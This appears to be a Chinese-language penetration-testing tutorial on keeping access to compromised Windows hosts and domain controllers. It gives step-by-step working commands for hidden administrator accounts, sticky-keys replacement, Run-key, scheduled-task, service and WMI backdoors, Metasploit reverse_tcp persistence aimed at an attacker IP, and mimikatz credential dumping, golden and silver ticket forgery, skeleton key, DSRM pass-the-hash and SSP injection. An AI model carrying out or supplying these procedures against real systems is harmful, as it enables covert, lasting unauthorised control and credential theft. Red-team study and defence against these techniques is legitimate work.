[toc]

当我们在渗透过程中通过艰辛的努力终于获取了目标主机权限后,我们接下来要做的往往是在目标机器上创建一个后门来维持住我们所获得的权限,否则一旦目标密码被改变或者漏洞被修补,那么就会导致我们对服务器权限的丢失。有了后门,我们就可以进出内网如若无人之境,所以权限维持的重要性可见一斑。

Windows 操作系统常见持久性后门

下面,我们先介绍几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。

img

Windows系统隐藏账户

该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。制作方法跟步骤如下:

(1)在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。

1
2
net user whoami$ Liu78963 /add
net localgroup administrators whoami$ /add

1603594418_5f94e8b2de4b4299160c7.png?1603594419418

如上图,我们已经创建成功,执行net user命令,发现是看不到whoami$用户的:

1603594472_5f94e8e8d06a87c5cff47.png?1603594472797

但是这就结束了吗,没有!虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的:

1603594663_5f94e9a7ec25d32a5efc3.png?1603594663978

为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。

打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。

1603594925_5f94eaad965ba49e8f807.png?1603594925728

这样SAM下的文件就都能看见了。

然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:

1603595456_5f94ecc0a8929859dea9f.png?1603595456658

复制000001F4目录中的F键的值:

1603595572_5f94ed34aee514da735e3.png?1603595572724

然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名,也就是。

1603595699_5f94edb38255cef869458.png?1603595699463

然后将000001F4的F值粘贴到000003E9的F值中,点击确定:

1603595867_5f94ee5be472504f50292.png?1603595867883

然后从注册表中右键导出000003E9和whoami$,并删除whoami$用户 net user whoami$ /del:

1603596035_5f94ef03270db8bfd87dc.png?1603596035640

1603596070_5f94ef261cfe970ed171d.png?1603596085555

1603596143_5f94ef6f269de031a83ac.png?1603596143135

此时,查看注册表以及本地用户和组或者控制面板,whoami$用户已经没有了:

最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:

1603596406_5f94f0765dd947291b28b.png?1603596406503

这样我们的隐藏账户whoami$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到whoami$这个账户的,只有在注册表中才能看得到。

Shift 粘滞键后门

如果你在电脑上连按五次shift键,你就会发现电脑屏幕上弹出了一个叫做“粘滞键”的程序:

1603596704_5f94f1a0230e0a0d51774.png?1603596704101

即使在没有登录进系统之前,连按五次shift键也可以弹出这个程序:

1603597020_5f94f2dc876c1f0538975.png?1603597022631

思考一下,如果我们知道了这个程序的绝对路径,那么我们就可以将cmd.exe伪装成这个粘滞键程序,当我们连按五次shift键时,便会弹出一个CMD命令行窗口,那么我们就可以无需登录进系统便可以控制目标主机了。

粘滞键程序名称为“sethc.exe”,其路径为“c:\windows\system32\sethc.exe”。利用粘滞键做后门是一种比较常见的持续控制方法。其基本流程如下:

  • 首先,我们手动或利用工具,找到sethc.exe将其删除或改名为sethc.exe.bak,接着将cmd.exe程序复制一个副本,并命名为“sethc.exe”。
  • 最后,重启计算机再次按下5次Shift键时,就会弹出CMD界面,后门制作成功。

(1)手动制作

在目标主机上执行如下命令即可:

1
2
3
cd c:\windows\system32  
move sethc.exe sethc.exe.bak // 将sethc.exe重命名
copy cmd.exe sethc.exe // 将一个cmd.exe副本保存伪装成sethc.exe

1603598425_5f94f859c2f72ff3b4345.png?1603598425915

此时,我们打开目标主机的远程桌面,连续按下五次shift键,便可以看到目标主机屏幕上成功弹出了一个CMD窗口:

1603598482_5f94f892bcfe3aceca9ed.png?1603598488055

如上图,该cmd是以system权限运行的,接下来我们就可以无需知道登录密码,无需登录,直接对目标主机执行各种高权限的操作了,也完全可以新建一个高权限用户直接登录进入系统,是不是很有意思?

但是,先别高兴地太早了,在一些做了防护的主机上,即使是SYSTEM权限也是无法修改sethc.exe的:

1603599210_5f94fb6a957b14083e434.png?1603599210561

只有TrustedInstaller权限才可以,这时,我们就要先模拟一个TrustedInstaller权限的令牌获取TrustedInstaller权限,然后再执行上述操作。我们的思路如下:

当我们启动TrustedInstaller服务时会启动进程TrustedInstaller.exe,该程序的权限为NT SERVICE\TrustedInstaller,那么我们就可以窃取该进程的令牌。

首先进入shell启动TrustedInstaller服务:

1
sc.exe start TrustedInstaller       # 先进入shell启动TrustedInstaller服务

1603599226_5f94fb7a09b491c22bb55.png?1603599226000

然后执行如下即可:

1
2
3
4
use incognito
ps # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID> # 从该进程中窃取令牌
getuid

1603599275_5f94fbab2d2a13b7f4878.png?1603599275112

此时便可以对sethc.exe进行任何操作了:

1603598425_5f94f859c2f72ff3b4345.png

(2)Empire 下的利用

如果你觉得上面的手动操作比较复杂,你可以使用Empire的 lateral_movement/invoke_wmi_debugger模块自动完成以上操作。

该模块将为指定的目标(SETHC.exe、Utilman.exe、OSK.exe、DealActudi.exe或Max .exe)来设置调试器,使之成为选择的目标(即CMD.exe)或阶段程序。这类似于持久性/调试器模块,但具有远程执行而不是本地执行功能。

1604919700_5fa9219478abd0e93927a.png

假设我们已经在Empire上面获得了目标主机的session,我们可以通过该模块在目标主机上设置粘滞键后门:

1
2
3
4
usemodule lateral_movement/invoke_wmi_debugger
set ComputerName <主机名/IP>
set TargetBinary sethc.exe
execute

如下图所示,我们成功在目标主机上安装了“粘滞键”后门:

1604919822_5fa9220e54cf15b919967.png

注册表键后门

该方法是通过将需要执行的后门程序或者攻击脚本路径添加到注册表的自动启动项中,从而实现目标主机启动或登录时便会执行后门程序使我们获得其控制权限。

一般我们使用注册表的如下位置:

1
2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run   // 开启时启动程序
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登录时启动程序

(1)手动制作

首先我们制作一个metasploit后门:

1603600234_5f94ff6a264006abab401.png?1603600234106

将该后门程序上传到目标主机的C:\Windows\System32目录中:

1603600302_5f94ffae80b5ce22e14f6.png?1603600302425

然后在目标主机的meterpreter执行如下命令注册表进行操作制作后门:

1
2
3
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v backdoor #查看键值

1603601884_5f9505dca0df45ed7b181.png?1603601885518

如上图所示,后门创建成功。此时我们重新开一个metasploit监听,然后输入“shutdown -r -t 0”命令让目标主机重启,当目标主机重新启动后便会启动执行backdoor.exe后门程序,我们攻击机的新开的metasploit监听上就会成功上线:

1603602414_5f9507ee0635619d7fbfa.png?1603602420762

我们还可以操作注册表的Userinit键:

1
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

让目标主机在用户进行登陆时,winlogon运行指定的后门程序。

除此之外还有以下可利用的注册表键:

1
2
3
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只会在开机时启动一次
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

(2)Metasploit 下的利用

Metasploit通过使用Meterpreter脚本和后渗透模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效payload,该payload将被上传到目标主机的磁盘上,并创建一个注册表项,该注册表项将在用户登录期间循环运行该有效负载。

1
2
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 192.168.52.129 
run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 192.168.52.129
  • -U指定启动方式为用户登录时自启动
  • -X指定启动的方式为开机自启动
  • -P 指定所使用的payload
  • -i不断尝试反向连接的时间间隔,我们这里设置的是5秒钟执行一次
  • –r指定攻击者的ip
  • -p 指定攻击者监听的端口

1603604248_5f950f182608f3417a0dc.png?1603604248321

如上图所示执行成功,生成后门后,只要目标主机重启或者登录,我们将在特定的时间间隔保持meterpreter会话了。

(3)Empire 下的利用

在Empire上面有一个persistence/userland/registry后渗透模块,可以自动帮我们完成上面手动创建注册表后门的任务。

1604920719_5fa9258f1e46053e8c4c7.png?1604920720404

假设我们已经在Empire上面获得了一个目标主机的session,我们可以通过设置该模块在目标主机上创建注册表后门:

1
2
3
4
usemodule persistence/userland/registry
set Listener <监听名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute

如下图所示,成功在目标主机上创建后门:

1604920777_5fa925c9e97058920770f.png?1604920776634

注意:杀毒软件针对此类注册表后门有专门的查杀机制。

Windows 计划任务后门

计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而使我们获得目标系统的控制权。计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。

(1)利用 at 命令

at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。

\1. 首先在目标主机上传metasploit生成的后门程序:

1603605135_5f95128f5471c6a058f19.png?1603605135298

\2. 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:

1
net time

1603609183_5f95225f6e89a7efe81b4.png?1603609183395

\3. 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:

1
at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe

1603609220_5f95228418a8fd454bef0.png?1603609220061

如上图所示,计划任务创建成功,目标主机将在每个工作日的15:01:00执行后门程序,我们便可以在这个时间获得目标机器的控制权:

1603609306_5f9522da119d12e426741.png?1603609312089

(2)利用 schtasks 命令

上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。

利用schtasks创建后门的大致流程如下:

\1. 首先在目标主机上传metasploit生成的后门程序。

\2. 然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:

1
schtasks /create /tn backdoor /sc minute /mo 1  /tr c:\windows\system32\backdoor.exe /ru system /f

1603610327_5f9526d7d9ecc3cf38aab.png?1603610327819

然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session:

1603610417_5f9527311484cdfbcfe19.png?1603610423560

并且这个session还是system权限的。

(3)利用SharPersist工具

下载地址:https://github.com/fireeye/SharPersist/releases

https://github.com/fireeye/SharPersist

SharPersist的创建是为了帮助使用多种不同的技术在Windows操作系统上建立持久性。它是一个国外安全人员用C#编写的命令行工具,可以反射性的加载Cobalt Strike的“execute-assembly”命令或任何其他支持反射性加载.NET程序集的框架。SharPersist采用模块化设计,以便将来添加新的持久性技术。还有一些与tradecraft相关的项已经内置到该工具及其支持的持久性技术中,例如file time stomping策略和最小化或隐藏运行应用程序。

该工具支持的持久性技术有:

  • keepass-keepass配置文件后门
  • reg-注册表项添加/修改
  • schtaskbackdoor-通过向后门计划任务添加其他操作来完成该任务
  • startupfolder-启动文件夹中的lnk文件
  • tortoisesvn-乌龟svn钩子脚本
  • service-创建新的Windows服务
  • schtask-创建新的计划任务

如果用户具有管理员级别的特权,则可以通过SharPersist工具创建一个新的计划任务,该任务将在Windows登录期间执行我们上传好的有效载荷。

\1. 在目标主机上传我们新生成的metasploit木马和SharPersist程序:

1604206659_5f9e4043e7078a4dcede1.png?1604206661110

\2. 然后使用以下命令创建我们恶意的计划任务:

1
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon

1604206880_5f9e41203f591b2be1064.png?1604206882388

然后新开一个metasploit监听,等待目标主机重启后便可以收到目标主机的session,并且还是system权限的:

1604207103_5f9e41ff50206da04657f.png?1604207110014

(4)Empire 下的利用

Windows计划任务后门我们可以用Empire上的persistence/elevated/schtasks后渗透模块在目标主机上进行设置。

1604921133_5fa9272db68e49750cf4a.png?1604921136558

设置方法如下

1
2
3
4
usemodule persistence/elevated/schtasks
set Listener <监听名>
set DailyTime 19:50
execute

1604921826_5fa929e21c0dc7c4346a1.png?1604921825422

如上图所示,成功在目标主机上设置了计划任务后门,将每天19:50执行基于PowerShell的有效负载,并反弹一个高权限的session:

1604923908_5fa9320438c1e221b9422.png?1604923906604

Windows 服务后门

在Windows主机上,获得了管理员的权限后,我们可以通过创建服务并将服务设置自启动的方式,来对目标主机进行持久控制。

如果未正确配置Windows环境中的服务或这些服务可以用作持久性方法,则这些服务可能导致权限提升。创建一个新的服务需要管理员级别的特权,它已经不是隐蔽的持久性技术。

利用sc命令手动创建

\1. 首先在目标主机上传新生成的msf木马:

1604203072_5f9e32406013e6401271d.png?1604203073594

如果帐户具有本地管理员特权,则可直接利用sc命令从目标主机的命令行中创建服务。

1
sc create backdoor binpath= "C:\Users\Administrator\backdoor.exe" start= auto // 创建服务后门
  • binpath:用于执行任意有效负载
  • auto:用于确保恶意服务将自动启动。

注意,所有选项的每个=号之前 一定不要有空格 =号后面一定要有空格,否则会错误。

1604203567_5f9e342f295a82906fea9.png?1604203568284

如上图,服务创建成功,然后我们可以在攻击机上重新开启一个metasploit监听,等目标机重启时,目标机就会上线,如下图所示,成功得到了目标机的meterpreter,并且还是system权限的:

1604204036_5f9e360485d913a0adab8.png?1604204043693

也可以执行“sc start backdoor”命令立即启动该服务。

注意:我们在上图新开启的metasploit监听中,使用“set AutoRunScript migrate -f”设置了自动迁移进程,这是因为当一个进程在Windows系统中启动后,必须与服务控制管理器进行通信,如果没有进行通信,服务控制管理器会认为出现了错误,进而终止这个进程,所以如果我们不设置自动迁移进程,这个meterpreter会很快就断掉了。

利用SharPersist工具创建

下载地址:https://github.com/fireeye/SharPersist/releases

https://github.com/fireeye/SharPersist

除了利用上面的sc命令,我们还可以利用SharPersist工具。SharPersist支持在受感染系统中创建新服务的持久性技术,在系统上安装新服务需要本地管理员。

\1. 在目标主机上传新生成的metasploit木马程序backdoor2.exe和SharPersist.exe程序:

1604205615_5f9e3c2f59c2326e4e08a.png?1604205616403

\2. 使用以下命令添加新服务,该服务将在Windows启动期间执行任意的有效负载:

1
SharPersist.exe -t service -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add

1604205663_5f9e3c5f8ed5e0ad69bcb.png?1604205664612

如上图,服务创建成功,我们在攻击机上新开启一个metasploit监听,当目标主机重启时,目标主机便能上线,如下图所示成功得到了目标机的meterpreter,并且还是system权限的:

1604205913_5f9e3d596fd1c5b544f11.png?1604205919485

注意:不要忘记迁移进程。

Metasploit下的利用

Metasploit框架还具有一个后渗透模块:“post/windows/manage/persistence_exe”,该模块需要以下配置,并将可执行文件放置在目标主机的可写位置:

1604207959_5f9e4557857cf835742e2.png?1604207961710

如上图所示,该模块支持的持久性技术有:

  1. 注册表运行键后门(USER,即我们前文提到的“run persistence”命令就是用的这个技术)
  2. Windows服务后门(SERVICE)

使用该模块创建服务后门时,需要将启动变量修改为SERVICE,以便在系统上安装新服务。以下是创建服务的设置:

1
2
3
4
5
6
use post/windows/manage/persistence_exe 
set REXEPATH /root/backdoor.exe // 攻击机本地要上传到目标机的paylaod路径
set SESSION 1
set STARTUP SERVICE
set LOCALEXEPATH C:\\Users\\Administrator // payload上传到目标机后存放的路径
run

1604210284_5f9e4e6c9d1a9d77178b5.png?1604210287516

如上图,服务后门创建成功,之后的使用方式与前面相同。

除此之外,在metasploit上,我们还可以用metsvc模块创建服务,建立持久后门。metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机,它会上传三个文件:

  • metsvc.dll
  • metsvc-service.exe
  • metsvc.exe

并通过服务启动,服务名为meterpreter。

常用命令:

1
2
run metsvc –h   # 查看帮助
run metsvc –A #自动安装后门

我们使用“run metsvc –A”自动安装后门:

1604211563_5f9e536bdb46238a8788d.png?1604211564974

如上图,服务后门安装成功。

接着我们启用另一个终端并进入msfconsole,使用如下命令即可连接后门:

1
2
3
4
5
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.52.1 //目标机ip
set LPORT 31337 //如上图,后门安装过程信息中有
exploit //获取到的会话是system权限

WMI 型后门

WMI是微软基于Web的企业管理(WBEM)的实现版本,这是一项行业计划,旨在开发用于访问企业环境中管理信息的标准技术。

WMI型后门通常是由PowerShell编写的,可以直接从新的WMI属性中读取和执行后门代码、给代码加密。通过这种方法,攻击者可以在系统中安装一个具有持久性的后门,且不会在系统磁盘中留下任何文件。

WMI型后门主要使用了WMI的两个特征,即无文件和无进程。其基本原理是:将代码加密存储在WMI中,达到所谓的“无文件”;当设定的条件被满足时,系统将自动启动PowerShell进程去执行后门程序,执行后,进程将会消失,达到所谓的“无进程”。

注意:WMI型后门只能由具有管理员权限的用户运行。

在2015年的Black Hat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。其主要与Powershell命令配合使用可以实现无文件攻击重要方式,具有良好的隐蔽性也是目前较为常用的持久化手段。Black Hat 2015公布了一个WMIBackdoor的poc毕竟还是经典,在流行的powersploit与nishang框架里面也有相关的ps1文件。传送门:https://github.com/mattifestation/WMI_Backdoor

在Empire下有一个叫Invoke-WMI的后渗透模块(persistence/elevated/wmi),可以创建WMI型后门。

1604922199_5fa92b57cda021215bdeb.png?1604922199860

设置如下:

1
2
3
usemodule persistence/elevated/wmi
set Listener http2
execute

1604924091_5fa932bb2c8053b526262.png?1604924089467

如上图所示,后门创建成功,如果目标主机重启,那么他就会在启动时重新上线。

域控制器权限维持常见思路

在我们拿到域控的控制权后,为了我们对域控制器权限的丢失,需要使用权限维持的方法来维持我们取得的权限。下面我们将介绍几种常用的对域控制器现有权限进行持久化的操作,包括黄金票据、白银票据、Skeleton Key万能密码、DSRM 后门、SSP 注入、SID History 后门、等等。

img

黄金票据(Golden ticket)

在Windows的kerberos认证过程中,Client将自己的信息发送给KDC,然后KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。那么如果获取到了krbtgt的Hash值,不就可以伪造任意的tgt了吗。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。

先假设这么一种情况,原先已拿到的域内所有的账户Hash,包括krbtgt这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置krbtgt密码,基于此条件,我们还能利用该票据重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务。

攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:

  • 需要伪造的域管理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash

测试环境如下所示:

img

我们已经获得了普通域用户主机Windows7和域控制器DC的控制权,下面我们演示如何用黄金票据建立一个稳固的后门。

1
2
3
域成员主机:Windows 7192.168.183.131
域名:DEMO.com
用户名:douser域控制器:192.168.183.130域名:DEMO.com 用户名:administrator

首先,我们登上域控制器,上传mimikatz,然后执行如下命令抓取krbtgt用户的Hash值并获取域sid:

1
2
privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash

img

如上图所示,我们得到krbtgt用户的Hash为:7c4ed692473d4b4344c3ba01c5e6cb63,域sid为S-1-5-21-979886063-1111900045-1414766810

然后,我们切换到普通域用户的机器Windows 7,用mimikatz生成名为ticket.kirbi的TGT凭证,用户名为域管理员用户(administrator):

1
2
3
kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi

kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi

img

生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后使用mimikatz将凭证ticket.kirbi注入进去:

1
2
3
kerberos::purge   //先清空所有票据
kerberos::ptt ticket.kirbi //再将生成的票据注入域用户主机Windows7
// kerberos::ptt <票据文件>

img

此时查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:

1
kerberos::tgt

img

到此,注入成功。输入“exit”退出mimikatz,此时,攻击者就可以利用Windows 7任意访问域控制器了,可以使用net use进行登录

1
dir \\WIN-ENS2VR5TR3N\c$

img也可以使用psexec,wmi等方法通过Windows7对DC进行远程执行命令了,具体操作不再演示。

白银票据(Silver ticket)

白银票据不同于黄金票据,白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由KDC颁发TGT,并且在生成伪造的TGT得20分钟内,TGS不会对该TGT的真伪进行效验。

白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用krbtgt账号的密码哈希值,因此更加隐蔽。

攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:

  • 域名
  • 域SID
  • 目标服务器的FQDN
  • 可利用的服务
  • 服务账号的NTLM Hash
  • 要伪造的用户名

如下,我们已经获得了普通域用户主机Windows7和域控制器DC的控制权,将使用白银票据伪造CIFS服务权限,对DC进行持久化控制。CIFS服务通常用于Windows主机之间的文件共享。

测试环境与黄金票据的相同:

img

首先,登录域控,抓取机器账号的Hash:

1
2
privilege::debug
sekurlsa::logonpasswords

img

得到域控制器上的计算机账号的Hash为:f0954d00b21d338aa86051eca90f7f74

(注意是WIN-ENS2VR5TR3N$用户的NTLM-Hash,不是Administrator用户,因为要利用共享服务账号)

然后切换到普通域用户机器Windows 7中,使用mimikatz生成伪造的白银票据:

1
kerberos::golden /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO.com /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt
  • /sid:域的SID值
  • /rc4:server机器的hash
  • /service:可利用的服务,这里是cifs
  • /user:要伪造的用户名,任意填写
  • /target:域控制器名,即FQDN(全称,如dc.domain.com)

img

成功生成了伪造的白银票据,此时进行权限验证。如下,发现已经可以访问域控制器的共享目录了:

1
dir \\WIN-ENS2VR5TR3N.demo.com\c$         // 机器名要全称,注意是全称

img

Skeleton Key(万能钥匙)

skeleton key(万能钥匙)就是给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理就是对 lsass.exe 进行注入,所以重启后会失效。

我们可以使用Skeleton Key(万能密码),对域内权限进行持久化操作。我们将Skeleton Key安装在域控制器上,便能够能够让所有域用户使用同一个万能密码对域控进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,这里需要注意的是重启将失效。具体操作如下。

控制域控制器后,在域控上传mimikatz,并以管理员权限运行,使用mimikatz注入Skeleton Key:

1
2
privilege::debug
misc::skeleton

img

如上图所示注入成功,此时便会在域内的所有账号中添加万能密码:“mimikatz”,接下来,我们就可以在域内用任何用户,以密码 “mimikatz” 进行登陆了。如下,我们开启域控的远程桌面,并用密码 “mimikatz” 进行登陆:

img

如下图,登录成功:

img

注意:微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。所以,我们要绕过LSA Protection,幸运的是,mimikatz早在2013年10月就已支持绕过LSA Protection,但是该功能需要mimidrv.sys文件,导入驱动文件mimidrv.sys后,绕过LSA Protection,即可操作成功。相应的skeleton key安装命令也变为了如下:

1
2
3
4
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton

使用系统:

  • Windows 8.1
  • Windows Server 2012 R2

DSRM 后门

DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。

在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

注意:该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。

在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。

假设我们已经获得了域内普通域用户Windows7主机和域控制器DC的控制权,下面我们来简单演示一下如何设置DSRM后门。

\1. 为DSRM设置新密码

在域控制器的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:

1
2
3
4
5
6
7
ntdsutil    // 进入ntdsutil
set dsrm password // 设置DSRM账户的密码
reset password on server null // 在当前域控制器上恢复DSRM密码
<password> // 输入新密码
<password> // 重新输入新密码
q //退出DSRM密码设置模式
q // 退出ntdsutil

1604218448_5f9e6e50a2810ef4606ff.png?1604218449626

\2. 接着,我们使用mimikatz来读取本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功:

1
2
3
privilege::debug
token::elevate
lsadump::sam

1604219005_5f9e707d45c68c301f20a.png?1604219006333

如上图所示,本地管理员administrator的NTLM Hash为:d8f69f9520b448174136e49a1051ef07。

\3. 然后,我们修改目标主机DC的DSRM账户登录方式

在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

如下所示,我们用命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器:

1
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

1604219549_5f9e729dacb3c56da9b12.png

\4. 最后,我们即可以在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控了:

1
2
privilege::debug
sekurlsa::pth /domain:OWA /user:Administrator /ntlm:d8f69f9520b448174136e49a1051ef07

注意,在这里,/domain选项不是添域名,而是域控制器的机器名(OWA),一定要注意。

如下图所示,命令执行完后,会在Windows7上自动打开一个新的cmd窗口,在该窗口中我们不用提供明文密码便可以对域控制器进行远程访问或控制了。如下,我们列出了域控制器的c盘目录:

1604224122_5f9e847af2db41e533dd7.png?1604224124190

除了向上面那样直接修改DSRM账户的密码外,我们还可以为DSRM同步为一个普通域用户的密码。但是要注意,如果域控制器的系统版本为Windows Server 2008,则需要安装 KB961320 补丁才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版本的系统中不需要安装此补丁。

同步的方式如下:

1
2
3
4
5
ntdsutil // 进入ntdsutil 
set dsrm password // 设置DSRM账户的密码
sync from domain account domainusername // 使DSRM的密码和指定的domainusername域用户的密码同步
q //退出DSRM密码设置模式
q // 退出ntdsutil

img

之后的操作就和上面所演示的一样了,同样还是读取本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功,然后同样还是修改目标主机DC的DSRM账户登录方式,最后同样还是在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控。

利用 SSP 注入维持权限

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单的说,SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能,例如:NTLM、Kerberos、Negotiate、Secure Channel(Schannel),Digest、Credential(CredSSP)等等。

SSPI(Security Support Provider Interface)安全支持提供接口,是Windows操作系统在执行认证操作时使用的API接口。也就是说,SSPI是SSP的API接口。

如果我们获得了网络中目标机器的System权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为Windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

下面我们来演示一下这种权限维持操作。

方法一:用Mimikatz将伪造的SSP直接注入内存

我们可以使用Mimikatz将伪造的SSP注入内存,就能够获取lsass.exe进程中的明文密码。这样做不会在系统中留下二进制文件,但如果域控重启,被注入的内存的伪造的SSP将会丢失。

在域控中上传mimikatz并以管理员权限运行,输入以下命令:

1
2
privilege::debug 
misc::memssp

1604234358_5f9eac76230cae9aedcd5.png?1604234360927

